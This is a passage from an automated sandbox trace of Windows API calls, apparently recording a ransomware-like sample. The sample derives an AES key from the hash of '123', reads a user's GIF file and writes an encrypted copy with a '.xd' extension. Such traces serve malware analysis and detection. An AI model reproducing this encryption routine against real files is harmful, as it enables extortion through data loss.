wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.874] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.874] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.874] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.874] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.874] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.874] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.874] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.874] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.874] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.875] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.875] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.875] CryptCreateHash (in: hProv=0x17aabc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.875] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.875] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.876] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.876] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.876] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.876] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.876] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.876] CryptHashData (hHash=0x164c4f0, pbData=0x16293b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.876] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.876] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.876] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.876] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.876] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.876] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.876] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.876] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621768, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.877] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.877] CryptDeriveKey (in: hProv=0x17aabc0, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c430) returned 1 [0062.877] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.877] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.877] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.877] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.877] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.877] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.877] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.877] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.878] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.878] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0062.878] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.878] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.879] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\g0aqngmf.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.879] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.879] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.879] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.879] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.880] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.880] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb")) returned 0x10 [0062.881] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\g0AqNgmF.gif.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\g0aqngmf.gif.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.882] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.883] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.883] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.883] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.885] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.886] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x3bce, lpOverlapped=0x0) returned 1 [0062.886] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.890] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.890] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.890] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.890] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.891] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.891] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.891] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.891] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.891] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.891] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.891] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.892] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.892] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.893] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.893] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.893] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.893] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.894] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.894] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.894] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.894] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.894] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.894] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.894] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.894] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.894] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.895] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.895] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.895] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217f8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.895] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.895] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x3bce, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x3bd0) returned 1 [0062.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.896] CharLowerBuffW (in: lpsz="byte[15313]", cchLength=0xb | out: lpsz="byte[15313]") returned 0xb [0062.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.897] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.897] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.897] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.898] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.898] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1880be8*, pdwDataLen=0x130e618*=0x3bce, dwBufLen=0x3bd0 | out: pbData=0x1880be8*, pdwDataLen=0x130e618*=0x3bd0) returned 1 [0062.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.899] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.899] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.899] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.899] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, 